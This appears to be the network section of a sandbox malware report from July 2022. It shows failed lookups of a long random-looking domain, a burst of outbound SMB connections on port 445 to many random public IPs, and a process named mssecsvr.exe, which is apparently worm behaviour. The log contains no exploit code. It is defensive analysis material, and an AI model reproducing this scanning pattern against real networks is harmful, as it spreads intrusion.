Jul 20, 2022 19:11:22.419054031 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.428020000 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.428065062 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.428076982 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.428086042 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.431962967 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.431994915 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.432020903 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.432028055 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:23.266989946 CEST	64855	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:23.267046928 CEST	443	64855	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:23.267137051 CEST	64855	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:23.267362118 CEST	64855	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:23.267379045 CEST	443	64855	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:23.327897072 CEST	64864	445	192.168.2.7	187.180.114.68
Jul 20, 2022 19:11:23.328049898 CEST	64866	445	192.168.2.7	187.51.64.167
Jul 20, 2022 19:11:23.328790903 CEST	64877	445	192.168.2.7	46.249.252.214
Jul 20, 2022 19:11:23.328999996 CEST	64882	445	192.168.2.7	66.103.203.128
Jul 20, 2022 19:11:23.329123020 CEST	64878	445	192.168.2.7	154.49.102.75
Jul 20, 2022 19:11:23.329252958 CEST	64886	445	192.168.2.7	211.242.108.253
Jul 20, 2022 19:11:23.329549074 CEST	64889	445	192.168.2.7	45.58.205.58
Jul 20, 2022 19:11:23.329763889 CEST	64891	445	192.168.2.7	12.80.59.249
Jul 20, 2022 19:11:23.329798937 CEST	64893	445	192.168.2.7	77.173.137.190
Jul 20, 2022 19:11:23.330159903 CEST	64902	445	192.168.2.7	222.20.72.153
Jul 20, 2022 19:11:23.330183983 CEST	64903	445	192.168.2.7	177.61.55.227
Jul 20, 2022 19:11:23.330552101 CEST	64911	445	192.168.2.7	175.12.152.245
Jul 20, 2022 19:11:23.330641985 CEST	64913	445	192.168.2.7	95.202.250.32
Jul 20, 2022 19:11:23.330729008 CEST	64915	445	192.168.2.7	160.64.75.133
Jul 20, 2022 19:11:23.330925941 CEST	64919	445	192.168.2.7	56.224.139.144
Jul 20, 2022 19:11:23.331260920 CEST	64926	445	192.168.2.7	84.43.3.103
Jul 20, 2022 19:11:23.331403017 CEST	64929	445	192.168.2.7	33.28.9.112
Jul 20, 2022 19:11:23.331470966 CEST	64930	445	192.168.2.7	53.59.67.59
Jul 20, 2022 19:11:23.331639051 CEST	64934	445	192.168.2.7	2.180.246.166
Jul 20, 2022 19:11:23.332046032 CEST	64943	445	192.168.2.7	97.128.66.159
Jul 20, 2022 19:11:23.332156897 CEST	64944	445	192.168.2.7	18.82.143.201
Jul 20, 2022 19:11:23.332230091 CEST	64945	445	192.168.2.7	213.253.218.70
Jul 20, 2022 19:11:23.332262039 CEST	64947	445	192.168.2.7	120.14.226.127
Jul 20, 2022 19:11:23.332503080 CEST	64953	445	192.168.2.7	169.52.126.168
Jul 20, 2022 19:11:23.332811117 CEST	64959	445	192.168.2.7	206.50.55.195
Jul 20, 2022 19:11:23.333136082 CEST	64966	445	192.168.2.7	210.56.42.58
Jul 20, 2022 19:11:23.333223104 CEST	64958	445	192.168.2.7	52.217.189.49
Jul 20, 2022 19:11:23.333494902 CEST	64976	445	192.168.2.7	20.45.158.137
Jul 20, 2022 19:11:23.333652020 CEST	64977	445	192.168.2.7	165.148.151.188
Jul 20, 2022 19:11:23.355806112 CEST	443	64855	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:23.356342077 CEST	64855	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:23.356364965 CEST	443	64855	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:23.357235909 CEST	64855	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:23.357249975 CEST	443	64855	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:23.357300043 CEST	64855	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:23.357311964 CEST	443	64855	20.190.160.15	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 19:06:47.047534943 CEST	63557	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:06:47.066540956 CEST	53	63557	8.8.8.8	192.168.2.7
Jul 20, 2022 19:06:48.635097027 CEST	50519	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:06:48.654944897 CEST	53	50519	8.8.8.8	192.168.2.7
Jul 20, 2022 19:06:49.945282936 CEST	58715	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:06:49.965405941 CEST	53	58715	8.8.8.8	192.168.2.7
Jul 20, 2022 19:07:08.295969963 CEST	138	138	192.168.2.7	192.168.2.255
Jul 20, 2022 19:11:05.771847963 CEST	138	138	192.168.2.7	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 20, 2022 19:06:52.775562048 CEST	79.106.50.20	192.168.2.7	a7e7	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:07:16.686901093 CEST	140.128.251.5	192.168.2.7	3e48	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:17.848027945 CEST	62.173.164.66	192.168.2.7	a2bb	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:19.129020929 CEST	203.119.104.89	192.168.2.7	7889	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:20.117412090 CEST	79.246.223.100	192.168.2.7	b44f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:20.121171951 CEST	92.208.147.160	192.168.2.7	44a9	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:21.850871086 CEST	5.56.18.166	192.168.2.7	d73	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:34.516658068 CEST	172.31.64.22	192.168.2.7	f0fa	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:07:35.639825106 CEST	88.67.112.25	192.168.2.7	e091	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:35.865963936 CEST	179.184.126.136	192.168.2.7	e57	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:38.258898020 CEST	178.208.104.77	192.168.2.7	a9ec	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:38.352235079 CEST	216.115.145.126	192.168.2.7	29bb	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:39.396123886 CEST	84.250.237.38	192.168.2.7	e98a	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:40.596193075 CEST	62.253.123.170	192.168.2.7	bdb6	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:41.386780024 CEST	184.104.207.250	192.168.2.7	e1a2	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:07:42.008913040 CEST	175.45.152.241	192.168.2.7	2018	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:07:42.124449968 CEST	129.250.6.94	192.168.2.7	9c80	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:45.090133905 CEST	87.78.191.138	192.168.2.7	ad82	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:46.255161047 CEST	213.247.79.12	192.168.2.7	6ae6	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:47.497612953 CEST	138.199.96.133	192.168.2.7	7419	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:07:49.141524076 CEST	194.81.6.182	192.168.2.7	3361	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:07:49.617811918 CEST	84.143.124.204	192.168.2.7	6e1f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:49.620877028 CEST	217.84.234.147	192.168.2.7	d311	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:50.769288063 CEST	141.31.99.253	192.168.2.7	8226	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:07:52.120320082 CEST	207.86.176.110	192.168.2.7	ff2	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:07:53.371438026 CEST	27.68.237.134	192.168.2.7	7f72	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:07:53.573864937 CEST	84.16.103.250	192.168.2.7	82c6	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:07:53.861922979 CEST	207.136.228.226	192.168.2.7	8014	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:07:54.356340885 CEST	5.146.252.101	192.168.2.7	3283	(Unknown)	Destination Unreachable
Jul 20, 2022 19:07:58.701560020 CEST	1.208.140.146	192.168.2.7	eb71	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:02.811666012 CEST	64.79.114.82	192.168.2.7	1710	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:05.360363007 CEST	89.190.140.89	192.168.2.7	d33a	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:06.475552082 CEST	87.152.227.212	192.168.2.7	204b	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:06.643418074 CEST	125.21.0.157	192.168.2.7	5316	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:08:08.721412897 CEST	80.169.237.142	192.168.2.7	b75c	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:08:09.909157991 CEST	178.236.192.10	192.168.2.7	337e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:11.052964926 CEST	12.94.24.6	192.168.2.7	8233	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:11.765702963 CEST	149.14.209.226	192.168.2.7	8f97	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:11.808604002 CEST	167.249.168.30	192.168.2.7	d61f	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:12.097297907 CEST	195.167.147.10	192.168.2.7	3223	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:12.950217009 CEST	12.246.87.10	192.168.2.7	6614	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:15.667460918 CEST	195.229.29.226	192.168.2.7	51b5	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:18.982778072 CEST	193.35.52.57	192.168.2.7	6902	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:08:20.090966940 CEST	92.200.169.164	192.168.2.7	c187	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:20.327203989 CEST	150.99.186.206	192.168.2.7	388	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:08:21.277192116 CEST	10.0.21.145	192.168.2.7	24bb	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:25.269773960 CEST	172.19.17.5	192.168.2.7	9cc3	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:26.385184050 CEST	213.203.152.141	192.168.2.7	1f46	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:26.622261047 CEST	149.11.89.129	192.168.2.7	577f	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:08:26.892412901 CEST	80.90.223.37	192.168.2.7	ce36	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:08:32.684293032 CEST	217.248.151.21	192.168.2.7	6e18	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:32.963232994 CEST	164.88.79.1	192.168.2.7	b325	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:38.579355955 CEST	85.237.10.18	192.168.2.7	2890	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:08:38.635656118 CEST	130.225.242.166	192.168.2.7	5fd4	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:42.134622097 CEST	84.143.242.190	192.168.2.7	aa9	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:43.015341997 CEST	87.239.147.56	192.168.2.7	aaf0	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:43.259073973 CEST	93.218.236.47	192.168.2.7	5a7c	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:43.260092020 CEST	212.81.17.94	192.168.2.7	217e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:44.734184980 CEST	41.204.170.114	192.168.2.7	ab42	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:48.911706924 CEST	178.7.172.107	192.168.2.7	11f9	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:53.542860031 CEST	190.116.239.129	192.168.2.7	6dd9	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:08:53.765157938 CEST	216.241.0.8	192.168.2.7	e4c8	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:08:56.726248980 CEST	198.32.136.2	192.168.2.7	32a1	(Unknown)	Destination Unreachable
Jul 20, 2022 19:08:58.189407110 CEST	67.199.138.147	192.168.2.7	9f8d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:00.341406107 CEST	62.253.0.110	192.168.2.7	ae1d	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:04.785023928 CEST	209.148.233.178	192.168.2.7	ec0e	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:05.342127085 CEST	38.140.155.210	192.168.2.7	c1c9	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:06.279459000 CEST	58.177.196.34	192.168.2.7	115e	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:07.225761890 CEST	209.104.202.54	192.168.2.7	5519	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:11.727807999 CEST	62.252.40.138	192.168.2.7	6e7	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:11.743339062 CEST	80.169.237.142	192.168.2.7	5382	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:09:14.970041037 CEST	199.33.123.227	192.168.2.7	2d1	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:15.243526936 CEST	69.63.248.86	192.168.2.7	7d96	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:16.393930912 CEST	130.117.3.14	192.168.2.7	abbb	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:21.062068939 CEST	37.44.7.166	192.168.2.7	f19c	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:09:23.150262117 CEST	86.94.237.251	192.168.2.7	3743	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:23.309567928 CEST	2.202.26.73	192.168.2.7	c389	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:24.653721094 CEST	184.188.10.146	192.168.2.7	105a	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:25.401511908 CEST	93.192.225.187	192.168.2.7	1e39	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:25.526665926 CEST	149.11.89.129	192.168.2.7	fbb8	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:09:25.592511892 CEST	37.29.109.158	192.168.2.7	469e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:28.080926895 CEST	207.166.50.253	192.168.2.7	800b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:29.049035072 CEST	168.95.173.26	192.168.2.7	f865	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:29.761637926 CEST	177.69.61.105	192.168.2.7	9d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:30.157749891 CEST	154.24.56.130	192.168.2.7	e846	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:33.678571939 CEST	82.82.7.80	192.168.2.7	4612	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:35.359926939 CEST	46.44.180.221	192.168.2.7	4157	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:38.314616919 CEST	64.56.110.65	192.168.2.7	33c9	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:09:40.041284084 CEST	85.122.54.1	192.168.2.7	4b7b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:43.110333920 CEST	108.167.134.114	192.168.2.7	13a7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:44.089936018 CEST	79.213.238.240	192.168.2.7	545d	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:48.656281948 CEST	46.82.240.13	192.168.2.7	903f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:09:51.558878899 CEST	197.51.32.89	192.168.2.7	4767	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:52.147670984 CEST	220.132.108.253	192.168.2.7	957	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:53.249667883 CEST	149.11.89.129	192.168.2.7	8662	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:09:54.885819912 CEST	114.4.121.174	192.168.2.7	7be6	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:09:59.069957972 CEST	186.211.233.1	192.168.2.7	b14b	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:09:59.909390926 CEST	103.109.94.74	192.168.2.7	85f2	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:00.304122925 CEST	216.247.206.11	192.168.2.7	66cc	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:05.122378111 CEST	10.250.0.2	192.168.2.7	9ab7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:07.853296995 CEST	149.97.229.244	192.168.2.7	16f6	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:14.540667057 CEST	94.72.148.214	192.168.2.7	56a4	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:16.633418083 CEST	185.132.68.11	192.168.2.7	1af2	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:10:18.561184883 CEST	84.153.91.163	192.168.2.7	a170	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:22.085598946 CEST	10.45.32.1	192.168.2.7	dd68	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:25.559273005 CEST	69.163.31.38	192.168.2.7	75a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:27.924559116 CEST	91.228.115.92	192.168.2.7	a1cb	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:30.533386946 CEST	37.128.194.128	192.168.2.7	7bd9	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:33.869111061 CEST	221.120.234.58	192.168.2.7	3a5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:10:33.896275043 CEST	181.209.77.198	192.168.2.7	670d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:10:35.681072950 CEST	86.103.230.104	192.168.2.7	e73b	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:36.903403997 CEST	209.148.236.46	192.168.2.7	4365	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:41.247945070 CEST	76.74.61.154	192.168.2.7	876c	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:10:42.452904940 CEST	217.250.103.28	192.168.2.7	d325	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:42.505462885 CEST	203.97.232.2	192.168.2.7	19f7	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:10:43.369442940 CEST	93.196.29.88	192.168.2.7	ee8d	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:44.849184036 CEST	152.179.52.146	192.168.2.7	7de2	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:46.591308117 CEST	151.56.53.73	192.168.2.7	8c56	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:10:50.412415028 CEST	2.136.174.32	192.168.2.7	5dd0	(Unknown)	Destination Unreachable
Jul 20, 2022 19:10:54.960314035 CEST	193.201.42.171	192.168.2.7	aba8	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:10:59.111691952 CEST	90.160.53.114	192.168.2.7	9110	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:11:00.182022095 CEST	213.60.220.62	192.168.2.7	9c0d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:11:04.980214119 CEST	89.217.9.192	192.168.2.7	59bc	(Unknown)	Destination Unreachable
Jul 20, 2022 19:11:13.385431051 CEST	72.241.85.237	192.168.2.7	5ea7	(Unknown)	Destination Unreachable
Jul 20, 2022 19:11:15.036365986 CEST	185.45.218.247	192.168.2.7	da60	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:11:23.362132072 CEST	77.173.137.190	192.168.2.7	b872	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 19:06:47.047534943 CEST	192.168.2.7	8.8.8.8	0x956	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 19:06:48.635097027 CEST	192.168.2.7	8.8.8.8	0xb953	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 19:06:49.945282936 CEST	192.168.2.7	8.8.8.8	0x389b	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 19:06:47.066540956 CEST	8.8.8.8	192.168.2.7	0x956	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 19:06:48.654944897 CEST	8.8.8.8	192.168.2.7	0xb953	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 19:06:49.965405941 CEST	8.8.8.8	192.168.2.7	0x389b	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

store-images.s-microsoft.com

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

ris.api.iris.microsoft.com

settings-win.data.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49722	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:35 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020624Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a92b0b3db04a476f86802d5e0d9113db&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: HWwVH4udkkOtntHq.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:06:35 UTC	1	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: jvgN6EvV1zwhbxmfHozvpA8znT44gssaudEutYxSZnpvTxfgczBTTFQ9Xsd642Uq5nodI869vd11befu6kzghJXifkjpOfLBz1g7Sj6I+cIJkfytalgms11XJGLmwAFhmS+Tzdqy0/4BBgAqAi+Ylt0V/ZQcAc4mOIxx9VBi6j1+W7k4AQR142k9BuUln9UtOFfkCch65dsbRwtbBL5oI8bIWL98s88KyEgaZF/nVEDNu+u6N7oFAWowfniFXxeR4a7OeKnYkB0e20+xe2q+mo+wh+RrLE7G3M+ND3EjTEOQTLb4zQ7bzYw/JSAfw8LgHHg4im0GNOMg4IRSn7E89A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:06:34 GMT Connection: close
2022-07-20 17:06:35 UTC	1	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 32 31 3a 30 36 3a 33 35 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T21:06:35"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49723	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:35 UTC	2	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020624Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=51d1191e70d545a7920bf09d0fb131eb&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: HWwVH4udkkOtntHq.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:06:35 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=1592 Content-Length: 53754 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: cayHeLTB75tObWyq3AeKeSX3Cc+3ftVLXMAOnFxsykNdOLHn/kxNG75rinZgy57RapaOEfV7h4fhtzDhnDLHNu8v69EkdE4ZBgHtPbx2EyG7x/4blBsJitHi9Uv0gografYH6tXIpYQgMuVU+po8x8xAA/64lRu+dqUpIOpc3B+FZrdlqPkgvpTPKJ7sgsuRuh+5c6eqdydnWUXmSgp5PF9sL8s/KYj9M5LyGFVrN9eZYFPez0i2lsM26BeszvuUTap7yVG318Wm2+mNgG010s712c3pcqaU30uSc9FaMfRFhB1Nnv3uAPHhKFDAYK2OeO/bjClTtMaBJEaRxXhAgQ== 